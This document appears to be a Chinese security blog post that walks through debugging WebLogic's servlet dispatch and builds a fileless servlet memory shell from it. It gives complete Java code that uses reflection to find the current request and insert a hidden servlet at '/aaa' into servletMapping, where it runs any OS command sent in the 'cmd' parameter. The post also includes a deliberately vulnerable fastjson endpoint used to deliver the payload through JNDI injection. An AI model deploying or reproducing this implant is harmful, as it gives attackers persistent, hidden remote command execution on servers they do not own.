Weblogic下的servlet内存马注入-无参照纯调试
前面一段时间学习Tomcat下注入内存马和spring下的内存马,之后又实现了Resin下的内存马,但Resin下的servlet和filter内存马都要依靠defineClass,这就需要编译java文件以及base64编码操作,觉得还是有点麻烦,Resin下最好用的当然还是listener内存马,直接写在一个执行的java文件里面就可以,方便又舒服。
扯皮完了,其实前面学习的内存马实现都参考了前辈们的文章,所以突发奇想,为什么不试试在不依赖其它文章的情况下,自己调试并制作内存马呢,所以开始行动👇
1、寻找servlet注入方法
1.1 调试
在IDEA中准备好Weblogic的环境,再写个servlet,打个断点,开始调试
写好的servlet类是com.bitterz.servlet.TestServlet,获取到调用链如下:
doGet:22, TestServlet (com.bitterz.servlet)
service:731, HttpServlet (javax.servlet.http)
service:844, HttpServlet (javax.servlet.http)
run:280, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
run:254, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:136, StubSecurityHelper (weblogic.servlet.internal)
execute:346, ServletStubImpl (weblogic.servlet.internal)
execute:243, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3432, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3402, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
run:57, WlsSubjectHandle (weblogic.servlet.provider)
doSecuredExecute:2285, WebAppServletContext (weblogic.servlet.internal)
securedExecute:2201, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1572, ServletRequestImpl (weblogic.servlet.internal)
run:255, ContainerSupportProviderImpl$WlsRequestExecutor (weblogic.servlet.provider)
execute:311, ExecuteThread (weblogic.work)
run:263, ExecuteThread (weblogic.work)
一步一步往下找,看看weblogic是如何根据URL找到对应servlet的,跟着调用链一直看,可以发现定义的TestServlet其实包装在ServletStubImpl类中的:
继续跟着调用链向下推,在wrapRun:3432, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
中可以看到,前面提到的ServletStubIpml类其实是ServletInvocationAction这个内部类的成员对象,成员名为stub,那就需要看看ServletInvocationAction
是如何被创建的,或者其中的stub属性是不是在调用链中添加的
继续向下查看,会发现ServletInvocationAction
这个内部类的实例被命名为action,并一路被当作参数传递,直到doSecuredExecute:2285, WebAppServletContext (weblogic.servlet.internal)
可以看到action被创建,并且传入了requestFacade.getServletStub(req)的执行结果,断点打在这一行,以便跟进到getServletStub方法中。
再次进入调试模式,并跟进到getServletStub中,可以看到如下代码,用调试模式下的代码执行工具执行一下ServletRequestImpl.getOriginalRequest(req)
可以看到返回结果是ServletRequstImpl类的实例,再看一下它的getServletStub方法:
public ServletStubImpl getServletStub() {
return this.sstub;
}
也就是说ServletRequstImpl
类的实例对象的sstub成员对象就是ServletStubImpl
实例对象(其中包装了真正被执行的TestServlet
对象)。意味着需要看看ServletRequestImpl对象是如何被创建的,或者其sstub属性是何时添加的,这个对象在调用链中一直被命名为req,并不断做为参数传递,直到调用链的run:1572, ServletRequestImpl (weblogic.servlet.internal)
这一行
首先this代表的就是ServletRequestImpl对象,然后标记处1,通过this.context.getIndexServletStub方法获取了一个ServletStubImple对象,再看标记2处通过setServletStub方法设置了属性。
分别看看两处调用的方法,先跟进标记2处的代码,如下
void setServletStub(ServletStubImpl stub) {
this.sstub = stub;
}
// this代表ServletRequestImpl对象
破案了!ServletRequestImpl中的sstub属性是在这里设置的。现在就需要看看传入的stub参数,也就是上图中的servletStub是如何得到的,所以跟进一下上图中标记1处的getIndexServletStub方法,这里其实又一个坑,要调试跟进getIndexServletStub方法,必须重新打断点,并且重启weblogic访问默认页面,以为this.checkIndexFile只有在这时才为true。
由于getIndexServletStub方法的代码比较长,所以简化如下
ServletStubImpl getIndexServletStub(String URI, ServletRequestImpl req, ServletRequest wrapper) {
String indexURI = this.findIndexFile(URI);
if (indexURI == null) {
// 由于uri为null,所以返回null
return null;
}
else if (xxx) {
....
// 一长串的判断之后返回null
return null;}
else {
req.initFromRequestURI(this.prependContextPath(indexURI));
ServletStubImpl servletStub = this.resolveDirectRequest(req);
if (servletStub.getClassName().equals("weblogic.servlet.proxy.HttpProxyServlet") || servletStub.getClassName().equals("weblogic.servlet.proxy.HttpClusterServlet")) {
req.initFromRequestURI(this.prependContextPath(URI));
servletStub = this.resolveDirectRequest(req);
}
return servletStub;
}
}
if和else if中放回值都是null,所以不用看,重点看else下面的代码块。servletStub的获取代码为ServletStubImpl servletStub = this.resolveDirectRequest(req)
,因此跟进resolveDirectRequest方法,其代码如下
可以看出来,返回值sstub是从URLMatchHelper中获取的,所以需要进一步跟进this.resolveRequest方法,代码较长,不方便截图,简化如下:
private URLMatchHelper resolveRequest(String relUri) {
if (DEBUG_URL_RES.isDebugEnabled()) {
xxxxx
}
URLMatchHelper umh = (URLMatchHelper)this.servletMapping.get(relUri);
if (umh == null) {
xxxxx
}
if (umh == null) {
xxxxx
}
return umh;
}
this为WebAppServletContext,即weblogic实现的servletContext,重点代码在于this.servletMapping.get(relUri),通过uri从servletMapping中匹配到合适的servlet,处理浏览器的请求。至此servlet在weblogic中的调用链就理顺了,其根本在于,需要在servletContext的servletMapping中有于uri相匹配的servlet,当然这里实际上是servlet的多层包装,包装顺序如下。
URLMatchHelper urlMatchHelper = servletcontext.servletMapping.get(uri);
ServletStubIpml servletStub = urlMatchHelper.getServletStub();
ServletRequestImple.sstub = servletStub;
ServletInvocationAction.stub = servletStub;
//调用顺序如下
ServletInvocationAction.stub.HttpServlet->service->doGet
这里调试完后,跟着调用链继续向下推,发现访问/test,在ServletRequestImpl对象创建时,ServletStub就已经创建好了,具体原因没有搞清除
1.2 servletMapping添加servlet
调试完毕后,可以直到,只需要在servletMapping中添加URI和对应的URLMatchHelper对象即可,这里通过反射即可实现。
// 创建servlet
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null){java.lang.Runtime.getRuntime().exec(cmd);}
return;
}
};
String URI = "/aaa";
// 获取servletContext
weblogic.servlet.internal.WebAppServletContext servletContext = (WebAppServletContext) req.getServletContext();
try {
// 获取servletMapping
Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
getServletMapping.setAccessible(true);
ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);
// 使用ServletStub包装HttpServlet
Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, Servlet.class, WebAppServletContext.class);
ServletStubImplConstructor.setAccessible(true);
ServletStubImpl servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, httpServlet, servletContext);
// 使用URLMathchHelper包装ServletStub
Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
URLMatchHelperConstructor.setAccessible(true);
Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);
// 添加到ServletMapping中,即代表注入servlet内存马成功
if (mappings.get(URI) == null){
mappings.put(URI, umh);
}
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException | ClassNotFoundException | InstantiationException e) {
e.printStackTrace();
}
注入成功:
2、获取request
2.1 从当前线程寻找信息
前面的工作已经显示,注入servlet成功了,但注入的基石在于已经拥有了HttpServletRequest对象,通过这个对象获取servletContext,在进一步在servletMapping中添加内存马。
那重点回到了如何获取request对象,如果能够向服务器写入或者上传一个jsp文件,那当然不需要自己想办法获取request对象,因为jsp文件被中间件编译为java文件时,会自动添加request等对象。在反序列化或者jndi注入等条件下,只能手动获取request,从以往在tomcat中获取request的经验,当前线程中有可能保存着request对象,在刚刚调试的调用链中,直接拉到最下面几个点,看到如下内容
可见从ExecuteThread中,可以一步一步获取request对象,进而获取servletContext,那么ExecuteThread怎么获取呢,这个对象实际上就是当前线程!
显然先用Thread.currentThread()方法获取当前线程吼,再通过几次反射就就可以获取request对象了,代码如下
// 获取当前线程
Thread threadLocal = Thread.currentThread();
// 获取workEntry即WlsRequestExecutor这个内部类
Field workEntry = threadLocal.getClass().getDeclaredField("workEntry");
workEntry.setAccessible(true);
weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal);
// 获取connectionHandler属性
Field field = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field.get(wlsRequestExecutor);
// 获取request
ServletRequestImpl servletRequest = connectionHandler.getServletRequest();
// 获取servlet
weblogic.servlet.internal.WebAppServletContext servletContext = (WebAppServletContext) servletRequest.getServletContext();
到这一步,再跟前面注入servletMapping的代码合并在一起,就可以在能够执行java代码的情况下,注入weblogic的servlet了,下面来个示例
2.2 JNDI注入到内存马注入
环境:
- weblogic 12.1.3.0.0
- fastjson 1.2.24
- java 1.8u40
后端servlet代码
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.getProperties().setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.getProperties().setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
JSON.parseObject(req.getParameter("json"));
}
jndi注入端代码,由于用到了weblogic相关的包,编译时要不用maven依赖,要不用IDEA添加weblogic的包
import weblogic.servlet.internal.HttpConnectionHandler;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletStubImpl;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.servlet.provider.ContainerSupportProviderImpl;
import weblogic.servlet.utils.ServletMapping;;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectWeblogicServlet extends HttpServlet {
private final String URI = "/aaa";
private final String PWD = "cmd";
public InjectWeblogicServlet(){
HttpServlet httpServlet = new InjectWeblogicServlet("xxx");
try {
// 获取当前线程
Thread threadLocal = Thread.currentThread();
// 获取workEntry即WlsRequestExecutor这个内部类
Field workEntry = threadLocal.getClass().getDeclaredField("workEntry");
workEntry.setAccessible(true);
weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal);
// 获取connectionHandler属性
Field field = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field.get(wlsRequestExecutor);
// 获取request
ServletRequestImpl servletRequest = connectionHandler.getServletRequest();
// 获取servlet
weblogic.servlet.internal.WebAppServletContext servletContext = (WebAppServletContext) servletRequest.getServletContext();
// 获取servletMapping
Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
getServletMapping.setAccessible(true);
ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);
// 创建ServletStub
Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, Servlet.class, WebAppServletContext.class);
ServletStubImplConstructor.setAccessible(true);
ServletStubImpl servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(this.URI, httpServlet, servletContext);
// 创建
Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
URLMatchHelperConstructor.setAccessible(true);
Object umh = URLMatchHelperConstructor.newInstance(this.URI, servletStub);
if (mappings.get(this.URI) == null){
mappings.put(this.URI, umh);
}
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException | ClassNotFoundException | InstantiationException | NoSuchFieldException e) {
e.printStackTrace();
}
}
public InjectWeblogicServlet(String aaa){}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String pwd = req.getParameter(this.PWD);
if (pwd != null){
Process process = Runtime.getRuntime().exec(pwd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
String a;
PrintWriter out = resp.getWriter();
while ((a=bufferedReader.readLine()) != null){
out.write(a);
}
out.flush();
out.close();
process.destroy();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
最后来个实际效果图
已经添加成功了,访问注入的url再执行一下命令cmd /c whoami
3、关于filter和listener
filter的添加主要依靠servletContext.filterManager.registerFilter方法,其实看一下filterManager中的getFilterChain函数就知道weblogic中是如何存储和管理filter的。
listener直接用servletContext.addListener即可,网上的教程很多,调试过了,源代码也看过了,就不重复造轮子了。